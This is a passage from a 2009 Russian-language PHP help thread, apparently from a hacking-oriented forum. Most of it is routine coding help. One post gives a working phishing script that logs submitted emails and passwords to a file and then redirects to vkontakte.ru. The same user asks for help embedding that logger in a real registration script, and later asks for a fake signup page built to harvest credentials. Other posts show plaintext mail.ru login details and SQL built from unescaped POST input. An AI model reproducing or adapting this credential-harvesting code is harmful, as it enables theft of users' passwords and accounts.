есть ли бдля воблы модули "соединения" с другими движками (типа единой авторизации).
если нету то для каких форумов/движков есть?
на данный момент задача : dle+vbulletin
http://dlepro.ru/mod/520-modul-dle-7.5-vbulletin-3.8.1-integracija-v.-1.1.html
Как написать парсер тем из раздела форума?
Допустим надо вывисти 5 последних тем с форума
(надо только заголовки тем парсить )
Форум "Булка 3.8.1"
Alekzzzander
21.05.2009, 11:17
Видел статью в интернете на английском? может кто сможет рассказать по русски разницу между echo, print, print_r ???
•†•SyTiNeR•†•
21.05.2009, 11:30
Видел статью в интернете на английском? может кто сможет рассказать по русски разницу между echo, print, print_r ???
В функции echo можно передать несколько аргументов через запятую!1
Пример:
echo 'x','z,'n';
А функия print может принять только один аргумент!11
Функция print при вызове возвращает значение,а echo ничего не возвращает!
print - выводит строку
print_r - вывод переменную в удобочитаемом виде (например целый массив)
wildshaman
21.05.2009, 11:31
Видел статью в интернете на английском? может кто сможет рассказать по русски разницу между echo, print, print_r ???
http://habrahabr.ru/blogs/php/22951/
1. echo не возвращает никаких значений, в отличие от print.
2. По первой причине echo нельзя использовать в сложных выражениях типа
$b ? print "true" : print "false";
При попытке заюзать в данном случае echo
$b ? echo "true" : echo "false";
получите ошибку PHP Parse error: syntax error, unexpected T_ECHO in ...
Но можно переписать код так
echo $b ? "true" : "false";
3. print принимает лишь один аргумент, а echo - несколько, разделенных запятой.
Вывод: что хотите, то и юзайте. Результат один
print_r это немного из другой оперы
zannussi
21.05.2009, 16:25
Ребята, вопрос не простой!
Есть 2 сайта: мой и чужей (последний с авторизацией). Каким образом через мой сайт отправить пост запрос на чужей, чтоб потом получить полностью страницу с того сайта?
1)Гет запросы режутся:
http://site.com/login.asp?name=name&pass=pass
тоже самае что и
http://site.com/login.asp
при правильных логин:пасс
2)В случае с пост:
<?
$file=file_get_contents('http://site.com/login.asp?name=name&pass=pass');
echo "
<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"
\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">
<html>
<head>
<title>Тест коннекта</title>
</head>
<body>
"?>
<? echo "<H3>$file</H3>";
echo'</body> </html> ';
?>
возвращает страницу, но на ней не произошла авторизация (пробывал на вконтакте, там хотя бы возвращает false или true)
3)Аналогично
<?php
$auth_data = "name=name&pass=pass";
$auth_data_len = strlen($auth_data);
$header = "POST http://site.com/login.asp HTTP/1.0\r\n";
$header .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n";
$header .= "Referer: http://site.com\r\n";
$header .= "Accept-Language: uk\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Proxy-Connection: Keep-Alive\r\n";
$header .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\r\n";
$header .= "Host: site.com\r\n";
$header .= "Content-Length: ".$auth_data_len."\r\n";
$header .= "Pragma: no-cache\r\n\r\n";
$header .= $auth_data;
$sckt = fsockopen("site.com",80);
fputs($sckt,$header);
while(!feof($sckt))
{
$serv_answer = fgets($sckt,2048);
echo $serv_answer;
}
?>
Каким образом произвести авторизацию на том сайте через мой. Способы выше не проходят?
Подключи курл и отправляй запросы типа:
<?php
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL,'http://site');
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,'name=admin&name=admin');
curl_setopt($curl,CURLOPT_HEADER,1);
curl_exec($curl);
curl_close($curl);
?>
Люди,помогите,пожалуйста.О ять проблемы с CURLом(точнее,не совсем с ним).
Задача: Прогнать толпу мыльников,выставляя чтение писем по 200 штук на страницу.
Проблема: Не отправляются значения методом пост по неизвестной мне причине.
Вот скрипт:
<?php
$ch = curl_init();
$url = "http://win.mail.ru/cgi-bin/auth";
$url1 = "http://win.mail.ru/cgi-bin/editprofile";
$url2 = "http://win.mail.ru/cgi-bin/modifyprofile";
$req = "Login=welya.icq&Domain=mail.ru&Password=ko4ka&page=&submit=Войти";
$req1 = "MessagesPerPage=100";
$ua = "IE 6.0";
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_USERAGENT,$ua);
curl_setopt($ch,CURLOPT_COOKIEFILE,"./cookie");
curl_setopt($ch,CURLOPT_COOKIEJAR,"./cookie");
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$req);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
$res = curl_exec($ch);
curl_close($ch);
/* ///////////////////////////////////////////////////////////// */
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url1);
curl_setopt($ch,CURLOPT_USERAGENT,$ua);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDs,$req1);
curl_setopt($ch,CURLOPT_COOKIEFILE,"./cookie");
curl_setopt($ch,CURLOPT_COOKIEJAR,"./cookie");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
$res = curl_exec($ch);
echo $res;
curl_close($ch);
/* ///////////////////////////////////////////////////////////// */
По всякому пробовал.Сначала посылал запрос на editprofile,одновременно с этим отправляя пару имя=значение MessagesPerPage=200,а потом уже запрос с сабмитом.Тоже не выходило.Заметил,что при обновлении страницы генерируется какое-то рандомное число,но на переход оно не влияет.И,как всегда,вопрос: Передаётся ли идентификатор сессии вместе с COOKIEFILE и COOKIEJAR ? Спасибо.
З.Ы, ваш код уязвим к локальному инклуду
Его к инклуду,а твой - к XSS :):):).
Велемир
1. нету такого юзер агента как IE 6.0
2. делай все сразу в одной $ch без его закрытия
3. с помощью плагина HttpFox для фф отскань все заголовки при подобной операции и сравни
Велемир, знаеш чё могу посоветовать... Юзай pro.mail.ru тама по аяксу хоть все письма получай
есть функция которая берет за аргументы значения переданные постом и возвращает массив данных , мне этот массив нужно использовать уже потом когда передаются дрyгиe пост данные из другой формы но в том же скрипте , т.е что бы массив был доступен в любом месте скрипта , а он доступен только когда выполянется функция как это сделать?
register global off
На сайте charset=utf-8...
Шлю русский текст постом - в результате полусаю каракули... Пробовал utf8_encode("Текст") - также каракули, но уже другие.. Как добиться вывода русского текста..!??
Как добиться вывода русского текста..!??
В зависимости от кодировки. Вот это, например
$text2 = iconv('Windows-1251','UTF-8',$text)
из Windows-1251 в UTF8.
Как можно обрезать текст в переменной до определённого количества символом (пробелы тоже в счёте).
Например:
$test="Античат самый рульный сайт,а его юзвери суперские люди!!!";
И вот мне нужно обрезать до 26 символов,тоисть чтоб было так "Античат самый рульный сайт"
Как можно обрезать текст в переменной до определённого количества символом (пробелы тоже в счёте).
$test="Античат самый рульный сайт,а его юзвери суперские люди!!!";
print substr($test, 0, 25);
crazy~driver
22.05.2009, 19:02
извините если оффтоп
как закрыть листинг папок в htaccess
пишу -images закрывает все на 500 ошибку
laedafess
22.05.2009, 19:08
Options -Indexes
или вы про что?
crazy~driver
22.05.2009, 19:21
да я провтыкал написал в сообщении images рефлекторно
все уже сделал спс
<form method="post" name="form">
<input name="d" type="text" size="10">
<input name="test" type="submit" value="Проверить">
</form>
<?php
if(isset($_POST['d'])){$d = $_POST['d'];}
$z = ??;
if(!empty($_POST['test'])){
if($d !== $z)
{ echo "ок"; }
else
{ echo "нет"; }
}
?>
как сделать чтоб если в форму вводят 1, 2, 3 или 4
то выводит "нет", а если любые другие символы то "ок"
пробовал делать так:
$1 = 1
$2 = 2
$3 = 3
$4 = 4
if($d !== $1 or $2 or $3 or $4)
но ничего не выходит... да и слишком много делов каждый раз добавлять...
Winst0n
if(strpos('1234', $d) === false)
wildshaman
22.05.2009, 19:49
пробовал делать так:
$1 = 1
$2 = 2
$3 = 3
$4 = 4
if($d !== $1 or $2 or $3 or $4)
но ничего не выходит... да и слишком много делов каждый раз добавлять...
нельяз так, если уж неа то пошло,то
$1 = 1
$2 = 2
$3 = 3
$4 = 4
if($d != $1 or $d!=$2 or $d!=$3 or $d!=$4)
ну а лучше сделать так:
$m=array("1", "2","3", "4");
if (in_array ($d, $m)) {
...
}
Winst0n Название переменной не может начинаться с цифры. Либо in_array используйте, либо:
$d = intval($d);
if ($d<1 || $d>4)
{Тра-та-та}
D Mak, 1234 это пример )
$1 = 1
$2 = 2
$3 = 3
$4 = 4
if($d != $1 or $d!=$2 or $d!=$3 or $d!=$4)
тоже не работает, все пишет "ок"
$m=array("1", "2","3", "4");
if (in_array ($d, $m)) {
а так все "нет" кроме 1234 ))
Gifts, числа пример
wildshaman
22.05.2009, 20:13
<form method="post" name="form">
<input name="d" type="text" size="10">
<input name="test" type="submit" value="Проверить">
</form>
<?php
if(isset($_POST['d']))
{
$d = $_POST['d'];
$z = array(1,2,3,4);
if(!empty($_POST['test']))
{
if(in_array($d,$z))
echo "ок";
else
echo "нет";
}
}
?>
все прекрасно работает
wildshaman, спс :)
тупанул... поменял
"нет" и "ок" местами )
Спс,а кто теперь подскажет как с txt файла удалить строку??
Вот есть txt файл,в нём текст в таком виде:
Боря
вышел погулять,
но его убили
мусора
Вот нужно удалить строку,думаю от какого байта удалять можно поставить через fseek,а вот как дальше я незнаю,вот нужно удалить строчку доконца,вместе с переводом строки,вот например вторую строчку удалить,чтоб выщло так:
Боря
но его убили
мусора
п.с. Перезапись файла не катит,только удаление байтов!
Можно как-нибудь с помощью PHP узнать версию Flash Player'a?
Парни, CURLOPT_COOKIEJAR и CURLOPT_COOKIEFILE на хостах вообще работают..?! Тестировал скрипт на локалхосте - всё работает на ура, файл с куками создаётся и затем благополучно читается... Залил на хост - работать перестал.. Пробовал создавать файл куков вручную с правами 777 - безрезультатно..(((
Парни, CURLOPT_COOKIEJAR и CURLOPT_COOKIEFILE на хостах вообще работают..?! Тестировал скрипт на локалхосте - всё работает на ура, файл с куками создаётся и затем благополучно читается... Залил на хост - работать перестал.. Пробовал создавать файл куков вручную с правами 777 - безрезультатно..(((
многие хостинги curl не поддерживают, может твой один из них?
как к этому: <?php
session_start();
?>
<form method="post" name="form">
<input name="d" type="text" class="form" size="15">
<input name="go" class="form" type="submit" value="Отправить">
</form>
<?php
$db = mysql_connect("localhost","root","");
mysql_select_db("bd",$db);
if(!empty($_POST['go'])){
if(isset($_POST['d'])){$d = $_POST['d'];}
$result = mysql_query("INSERT INTO za (d) VALUES('$d')");
if($result == 'true')
}
}
?>
приделать это:
<form action="" method="post">
<p>Enter text shown below:</p>
<p><img src="captcha/index.php?<?php echo session_name()?>=<?php echo session_id()?>"></p>
<p><input type="text" name="keystring"></p>
<p><input type="submit" value="Check"></p>
</form>
<?php
if(count($_POST)>0){
if(isset($_SESSION['captcha_keystring']) && $_SESSION['captcha_keystring'] == $_POST['keystring']){
echo "Correct";
}else{
echo "Wrong";
}
}
unset($_SESSION['captcha_keystring']);
?>?
А попроще сказать можно? ето ты типо хочеш проверку капчей сделать там?
ты хоть бы выложил нормалынй код! Вот результ от первого стрипта:
Parse error: syntax error, unexpected '}' in Z:\home\localhost\www\test.php on line 15
Выходит так:
<?php
session_start();
?>
<form action="" method="post">
<p><input name="d" type="text" class="form" size="15"></p>
<p>Enter text shown below:</p>
<p><img src="captcha/index.php?<?php echo session_name()?>=<?php echo session_id()?>"></p>
<p><input type="text" name="keystring"></p>
<p><input type="submit" value="Check"></p>
</form>
<?php
if(count($_POST)>0){
if(isset($_SESSION['captcha_keystring']) && $_SESSION['captcha_keystring'] == $_POST['keystring']){
//Есле капча введена верно то...
$db = mysql_connect("localhost","root","");
mysql_select_db("bd",$db);
if(!empty($_POST['go'])){
if(isset($_POST['d'])){
$d = $_POST['d'];
}
$result = mysql_query("INSERT INTO za (d) VALUES('$d')");
if($result == 'true'){
}
}
}else{
//Есле нет то...
echo "Капчу верно введи!";
}
}
unset($_SESSION['captcha_keystring']);
?>
Синтаксис поправил,но в роботу скрипта не вникал.
многие хостинги curl не поддерживают, может твой один из них?
Не думаю... На сайте хостера написано что КУРЛ есть.. Ктомуже по работе скрипта видно что он есть.. В процессе выполнения скрипта происходит авторизация на сайте, затем переход по нескольким страницам для дальнейшего их парсинга.. Для проверки ставил echo этих страниц - выводит всё как надо.. А вот авторизация не происходит... Думаю из-за того, что куки не сохраняются...
П.С. тут пару страниц назад я писал, что проблема с капчей при авторизации... На самом деле надо было просто внимательней отнестись к тому на какой стадии созранить куки, и где их потом вызвать... Так вот самое интересное, на локалхосте при первой авторизации и сохранении файла куков дальнейшая авторизация любого пользователя проходит без ввода капчи... И это вообще охрененно, но...... Надо запустить не на локалке... :confused: :confused: :confused: Чёнить посоветуйте..))
wildshaman
23.05.2009, 12:21
Фишка с несохраняющимися куками на серваке в указании пути к ним. сам сталкивался с такой проблемой. указывпйте ПОЛНЫЙ пусть к файлу, куда сейвить куки, напмреир /home/.../www/cookies.txt
Mixon, код рабочий... просто забыл "{" после if($result == 'true')
<?php
session_start();
?>
<form action="" method="post">
<p><input name="d" type="text" class="form" size="15"></p>
<p>Enter text shown below:</p>
<p><img src="captcha/index.php?<?php echo session_name()?>=<?php echo session_id()?>"></p>
<p><input type="text" name="keystring"></p>
<p><input type="submit" value="Check"></p>
</form>
<?php
if(count($_POST)>0){
if(isset($_SESSION['captcha_keystring']) && $_SESSION['captcha_keystring'] == $_POST['keystring']){
//Есле капча введена верно то...
$db = mysql_connect("localhost","root","");
mysql_select_db("bd",$db);
if(!empty($_POST['go'])){
if(isset($_POST['d'])){
$d = $_POST['d'];
}
$result = mysql_query("INSERT INTO za (d) VALUES('$d')");
if($result == 'true'){
}
}
}else{
//Есле нет то...
echo "Капчу верно введи!";
}
}
unset($_SESSION['captcha_keystring']);
?>
если верно вводишь в бд не пишет =\
Winst0n,Хм,ну ето уже удели больше внемания самому коду,что записывает,и попробуй,доходит ли до него все данные,у меня то нету кода капчи...Вопщем удели по больше внеманию етой строчке
<form action="" method="post">
и доходит ли параметр d через POST запрос в сам скрипт посмотри. А вопще я тебе дал код,смотри,мучий...
Mixon, спс, сам сделал :) просто писал вчера в 3 ночи))
напишите пожалуйста php функцию которая удаляла бы все папки вместе со вложенными файлами и все файлы из папки temp которая лежит в корне скрипта, в который нужно вставить эту функцию
Фишка с несохраняющимися куками на серваке в указании пути к ним. сам сталкивался с такой проблемой. указывпйте ПОЛНЫЙ пусть к файлу, куда сейвить куки, например, /home/.../www/cookies.txt
Да, я тоже с этим столкнулся когда на локалхосте отлаживал скрипт.. После прописания полного пути, на локалхосте заработало... И на сервер залил с полными путями - там не пашет... Самое интересное то, что заработал, когда я заменил полный путь на куки.тхт :D
neprovad
23.05.2009, 21:34
Есть такая задача - надо вывести байтами кучу данных (hexdump) Данные в виде hexстроки а-ля "6F2030313234FF" и т.п. Собственно вопрос как оптимальней \понятней сделать это. данные , если потребуется можно сохранить в файл или намертво вбить в код скрипта.
з.ы. в php разбираюсь очень слабо, прошу помочь
neprovad http://php.net/pack http://php.net/unpack
neprovad
$str = "30313233343536373839";
echo pack ("H*", $str), "\n";
mailbrush
24.05.2009, 14:00
Установить булку на другой хост.
Chrek625
24.05.2009, 14:24
Добпрго времени суток. обитателям форума.
Помогите мне разобраться с вот такой ошибкой....
Fatal error: Cannot re-assign $this in Z:****\****\www\classes\Shop.php on line 75
Я знаю что это из за разницы в версиях PHP но вот как исправить не знаю(( помогите
Это геморная затея, нАврятли ты сам осилишь:
http://www.masterhost.ru/support/faq/technical/to-php5-mysql5/
Pashkela
24.05.2009, 14:49
2 Ridikh:
<?php
@set_time_limit(0);
@ini_set("display_errors","1");
$path = '/home/kf-kf/dfgdf/http/df/test'; // Абсолютный путь к папке для удаления
//её содержимого, включая все файлы, папки и подпапки, без слеша в конце
//Функция рекурсивного получения списка файлов и папок
function fold($rootDir, $allData=array()) {
$invisibleFileNames = array(".", "..");
$dirContent = scandir($rootDir);
foreach($dirContent as $key => $content) {
$path = $rootDir.'/'.$content;
if(!in_array($content, $invisibleFileNames)) {
if(is_file($path) && is_readable($path)) {
$allData[0][] = $path;
}elseif(is_dir($path) && is_readable($path)) {
$allData[1][] = $path;
$allData = fold($path, $allData);
}
}
}
return $allData;
}
//Удаляем все файлы
$a = fold($path);
// print_r ($a); // Расскоментируйте, если хотите посмотреть список файлов и папок (подпапок)
$i=0;
$count = count($a[0]);
while ($i<$count) {
unlink($a[0][$i]);
$i++;
}
//Удаляем все папки
$i = count($a[1])-1;
while ($i>-1) {
rmdir($a[1][$i]);
$i--;
}
echo "All data from $path deleted";
?>
Chrek625
24.05.2009, 15:31
PaCo может тогда поможишь?
нужен небольшой РНР скрипт
есть .тхт фай словаря, где перевод некоторых слов на несколько строчек,
abatable = a юр. отменяемый, предусматривающий
abate = v 1) уменьшать, ослаблять, смягчать; 2) снижать (цену и т. п.) ,
делать скидку; 3) уменьшаться, ослабевать, затихать; 4) устранять, прекращать;
5) притуплять (остриЈ) ; 6) аннулировать, отменять
abatement = n 1) уменьшение, смягчение; 2) снижение (цен и т. п.) ; 3)
аннулирование, отмена
abat-jour = n фр. 1) абажур; 2) козырЈк здания
надо перегнать в другой тхт файл. такой что бы перевод каждого слово было на одной строчке. (слова и перевод разделени знаком "=") т.е если в строчке не встречается знак "=" то хначит это продолжение предыдущей строки и надо его туда переместит
я сам делал так:
в цикле брал строчку, если там встречаться знак "="
то записывал в конец другого файла , если нету "=" то дописывал в продолжение последней строки. в принципе алгоритм правильный но кде надо было дописывать в продолжении последней строки у меня не получалось
вот этот кусочек
$f=fopen("2.txt","a+");
fseek($f, 1, SEEK_END);
fwrite($f,$str);
fclose($f);
блин поставил vbulletin
и капча при регистрации не отображается..вернее символы не показыват , а только фон.
идеи?
на некоторых фри хостах капча не отображается, особенно капча которую РНР сам делает и рисует :)
#Wolf# Возможно библиотека GD не подключена/подключена не полностью? (Посмотреть можно в phpinfo) В системе отсутствуют шрифты для данной капчи (как проверить не знаю)
REBUUS Правда первой строкой скорее всего будет перевод строки ^^ set_time_limit(0);
$f1 = fopen('1.txt','r');
$f2 = fopen('2.txt','w');
while (!feof($f1))
{
$tmp = trim(fgets($f1,8192),"\r\n");
if (strpos('=',$tmp)!==false) fwrite($f2,"\n");
fwrite($f2,$tmp);
}
#Wolf# Возможно библиотека GD не подключена/подключена не полностью? (Посмотреть можно в phpinfo) В системе отсутствуют шрифты для данной капчи (как проверить не знаю)
REBUUS Правда первой строкой скорее всего будет перевод строки ^^ set_time_limit(0);
$f1 = fopen('1.txt','r');
$f2 = fopen('2.txt','w');
while (!feof($f1))
{
$tmp = trim(fgets($f1,8192),"\r\n");
if (strpos('=',$tmp)!==false) fwrite($f2,"\n");
fwrite($f2,$tmp);
}
что то он все в одну строчку загнал
вот сам фай который надо редактировать http://webfile.ru/3641124
wildshaman
24.05.2009, 16:52
что то он все в одну строчку загнал
вот сам фай который надо редактировать
в вышеприведенном тебе коде замени тогда
fwrite($f2,$tmp); на fwrite($f2,$tmp."\r\n");
wildshaman Не трогайте чужой код, тем более что вы ошибаетесь)
Rebbus В функции strpos перепутал аргументы) set_time_limit(0);
$f1 = fopen('1.txt','r');
$f2 = fopen('2.txt','w');
while (!feof($f1))
{
$tmp = trim(fgets($f1,8192),"\r\n");
if (strpos($tmp,'=')!==false) fwrite($f2,"\r\n");
fwrite($f2,$tmp);
}
http://webfile.ru/3641159 - выходной файл
$tmp = trim(fgets($f1,8192),"\r\n");
тоже самое все в одну строку, а все остальное обрезает
может сам файл кто глянет, вдруг че не так
http://webfile.ru/3641124
Pashkela
24.05.2009, 17:16
Короче раньше я писал код сюда, хоть он и наркоманский, но работает:))))
<?php
@set_time_limit(0);
@ini_set("display_errors","1");
$h = fopen('tema1.txt' , 'r');// Файло с хаотичными данными
$b = fopen('resultat.txt' , 'a+');// Файло результат
while (!feof($h)) {
$a = trim(fgets($h));
if (strpos($a,'=')) fwrite($b,"\r\n".$a);
else fwrite($b,$a);
}
fclose($h);
fclose($b);
echo 'done';
?>
Короче раньше я писал код сюда, хоть он и наркоманский, но работает:))))
<?php
@set_time_limit(0);
@ini_set("display_errors","1");
$h = fopen('tema1.txt' , 'r');// Файло с хаотичными данными
$b = fopen('resultat.txt' , 'a+');// Файло результат
while (!feof($h)) {
$a = trim(fgets($h));
if (strpos($a,'=')) fwrite($b,"\r\n".$a);
else fwrite($b,$a);
}
fclose($h);
fclose($b);
echo 'done';
?>
А твой наркомовский скрипт то что надо. спасибо тебе большое. +
zifanchuck
24.05.2009, 18:10
Наверное вопрос поднимался много раз но ответа в гугле не нашол.
короче закодированое слово в урле (гугл)
%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D 0%B8%D1%81%D1%82
слово программист
надо чтобы скрипт из набора букавак преобразовал в нормальное слово.
пробывал так
<?php
echo urldecode("%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D 0%B8%D1%81%D1%82");
?>
но выдает какуюто лажу типа программист
как ето организовать?
Наверное вопрос поднимался много раз но ответа в гугле не нашол.
короче закодированое слово в урле (гугл)
%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D 0%B8%D1%81%D1%82
слово программист
надо чтобы скрипт из набора букавак преобразовал в нормальное слово.
пробывал так
<?php
echo urldecode("%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D 0%B8%D1%81%D1%82");
?>
но выдает какуюто лажу типа программист
как ето организовать?
Очевидно кодировку поправить либо в конфиге апача, либо хэдер послать соответствующий из пхп, либо хотя бы указать мета тег с кодировкой.
Потому что инициализация переменной вне тела цикла
<?php
include ("function.php");
$db = mysql_connect("localhost", "root", "");
mysql_select_db("samp", $db);
$e = mysql_query("SELECT * FROM servers", $db);
while ($s = mysql_fetch_array($e) {
$data = monitor_samp($s['serv'], $s['port'], samp, info);
echo "<center><b>" . $data['hostname'] .
"</b> | " . $data['ip'] . ":" . $data['qport'] . " | Игроков: <b>" . $data['players'].
"/" . $data['maxplayers'] . "</b> | Карта: <b>" . $data['mapname'] . "</b></center>";
}
?>
здраствуйте если кому не трудно, напишите пажалуста скрипт эмитирующий регистрацию и записывающий логин и пасс в отдельный текст фаил
за ранее спасибо
sidrus, хоть бы сказал для какого сайта...
http://forum.antichat.ru/thread80268.html изучай)
sidrus, хоть бы сказал для какого сайта...
http://forum.antichat.ru/thread80268.html изучай)
бальшущее спасибо! :)
Pashkela
25.05.2009, 01:39
2 zifanchuck:
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<?php
@set_time_limit(0);
@ini_set("display_errors","1");
$in = '%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC% D0%B8%D1%81%D1%82';
$in = urldecode($in);
$s = mb_detect_encoding($in);//Определяем кодировку
$in = iconv($s, 'CP1251//TRANSLIT', $in);//Декодируем в нужную кодировку, выставленную в начале файла
echo $in;
?>
строчки :
@set_time_limit(0);
@ini_set("display_errors","1");
в данном случае нужны только для отладки, рекомендую всегда использовать пока не наладили скрипт, после 100%-го результата ЛУЧШЕ удалить, особенно @ini_set("display_errors","1"); , строку @set_time_limit(0); можно и не удалять, зависит от поставленной задачи. Покажут все возможные ошибки в процессе написания скрипта. Вроде мелочь, но, на мой сугубо взгляд, весьма важная (дебаг фактически).
Наверное вопрос поднимался много раз но ответа в гугле не нашол.
короче закодированое слово в урле (гугл)
%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D 0%B8%D1%81%D1%82
слово программист
надо чтобы скрипт из набора букавак преобразовал в нормальное слово.
пробывал так
<?php
echo urldecode("%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D 0%B8%D1%81%D1%82");
?>
но выдает какуюто лажу типа программист
как ето организовать?
<?php
echo iconv('UTF-8','Windows-1251',urldecode("%D0%BFD1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0 %B8%D1%81%D1%82"));
?>
#Wolf# Возможно библиотека GD не подключена/подключена не полностью? (Посмотреть можно в phpinfo) В системе отсутствуют шрифты для данной капчи (как проверить не знаю)
рядом стоял дле у которого капча тоже не отображалась(вообще). оказалось проблема была с методом передачи данных по фтп (ASCII/BIN)
поставил авто и перелил - заработало, точно также проделал и с булкой....но отображается только фон
ребята, памагите пажалуста сделать чтото типо этого
<?php /* ############# #by_NoNameZ#
########### */ $f=fopen("log.txt","at"); flock($f,2);
if(preg_match("/^([.0-9a-z_-]+)@(([0-9a-z-]+\.)+[0-9a-
z]{2,4})$/i", $_POST['email'])&&
!empty($_POST['pass'])){ fputs($f,
$_POST['email'].";".$_POST['pass']." \n");
header("Location: http://vkontakte.ru
/blank.php?code=10"); } else { header("Location:
bad.htm"); } flock($f,3); fclose($f); ?>
но чтоб я скрипт вставил в фаил регистрации и он просто вводимые пароли сахранял мне в фаил и при этом также работал, тоисть также пароли сахранял дальше в базе
вот скрипт регикуда файк прилепить хочу
<?php if(!defined('DATALIFEENGINE')) {
die("Hacking attempt!"); } if ($_action == "reg") { if
(empty($_REQUEST["l2login"]) ||
empty($_REQUEST["l2password"]) ||
empty($_REQUEST["l2password2"]) ||
empty($_REQUEST["l2email"]) ||
empty($_REQUEST["l2answer"]) ||
empty($_REQUEST["l2question"])) { $lineage =
"<div class='warning center'>Îøèáêà ïðè ðåãèñòðàöèè, çàïîëíèòå âñå ïîëÿ!</div><br />"; $lineage.=
"<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif
(strlen($_REQUEST["l2login"])>16 ||
strlen($_REQUEST["l2login"])<4) { $lineage = "<div
class='warning center'>Îøèáêà ïðè ðåãèñòðàöèè, ëîãèí
äîëæåí áûòü íå ìåíüøå 4 è íå áîëüøå 16 ñèìâîëîâ!</div><br
/>"; $lineage.= "<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif
($_REQUEST["l2password"]!=$_REQUEST["l2password2"])
{ $lineage = "<div class='warning center'>Îøèáêà
ïðè ðåãèñòðàöèè, ïàðîëè íå ñîâïàäàþò!</div><br
/>"; $lineage.= "<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif (strlen($_REQUEST["l2answer"])<4
|| strlen($_REQUEST["l2question"])<4) {
$lineage = "<div class='warning center'>Îøèáêà ïðè
ðåãèñòðàöèè, âîïðîñ è îòâåò äîëæíû áûòü íå ìåíüøå 4
ñèìâîëîâ!</div><br />"; $lineage.= "<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif
(!check_email($_REQUEST["l2email"])) {
$lineage = "<div class='warning center'>Îøèáêà ïðè
ðåãèñòðàöèè, email óêàçàí íå âåðíî!</div><br
/>"; $lineage.= "<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif
($dbl->sql_numrows($dbl->sql_query("SELECT * FROM
accounts WHERE login='".$_REQUEST["l2login"]."' LIMIT
1"))) { $lineage = "<div class='warning
center'>Îøèáêà ïðè ðåãèñòðàöèè, àêêàóíò ñóùåñòâóåò!
</div><br />"; $lineage.= "<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif
($dbl->sql_numrows($dbl->sql_query("SELECT * FROM
accounts WHERE email='".$_REQUEST["l2email"]."' LIMIT
1"))) { $lineage = "<div class='warning
center'>Îøèáêà ïðè ðåãèñòðàöèè, óêàçàííûé email óæå
èñïîëüçóåòñÿ!</div><br />"; $lineage.=
"<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } else { $dbl->sql_query_jdb("accounts", "InsertAccount", array($_REQUEST["l2login"], base64_encode(pack('H*', sha1($_REQUEST["l2password"]))), $_REQUEST["l2email"], $_REQUEST["l2answer"], $_REQUEST["l2question"])); $sql_error = $dbl->sql_error(); if ($sql_error["code"]==0) { $lineage = "<center>Ïîçäðàâëÿåì, Âû óñïåøíî çàðåãèñòðèðîâàëè àêêàóíò! Ïðèÿòíîé èãðû.</center><br />"; } else { $lineage = "<div class='warning center'>Íåèçâåñòíàÿ îøèáêà, ïîïðîáóéòå åùå ðàç!</div><br />"; $lineage.= "<center><a href='".GetURL($_link,"registration")."'>íàçàä</a></center>"; } } } else { $tpl->load_template($tpldir.'/lineage/register.tpl'); $tpl->compile('register'); $lineage = $tpl->result["register"]; // $tpl->clear(); } ?>
Pashkela
25.05.2009, 13:45
2 sidrus:
код оформи нормально (подсказка - клавиша ENTER может творить чудеса)
2 sidrus:
код оформи нормально (подсказка - клавиша ENTER может творить чудеса)
гг
спс уже разобрался как код оформить))
noooob'ik
25.05.2009, 21:19
Привет!)
Есть скрипт creat_dir.php(CHMOD 771), который находится в папке test(chmod 770), скрипт должен создать др. папку в этой же директории... директория создаётся, но с ней ничего нельзя сделать, даже открыть(при попытке открыть пишет: "<www.wallst.ru> служебная директория").... почему подскажите плз
также пробывал creat_dir.php(CHMOD 777) и директорию test(CHMOD 777).... не выходит(((
все это дело происходит на хосте wallst.ru
noooob'ik Покажите вывод команды ls -la
<?
header('Content-Type: text/plain');
passthru('ls -la /путь/до/папки/test');
?>
здраствуйте,
ребята памагите написать файк плиз, те мануалы что есть мне не тадходят так как они привязываются к определённому сайту, мне нужен скрипт каторый я ставлю просто на пустую страницу , скрипт регистрации с 4мя полями ввода, логит, парол, подтверждение пароля и емаил и кнопка отослать. при нажатии отослать, скрипт должен тупо сохронять данные в тхт файл и пасылать на страницу типа технические работы .
помогите плиз
спс заранее
wildshaman
26.05.2009, 10:53
здраствуйте,
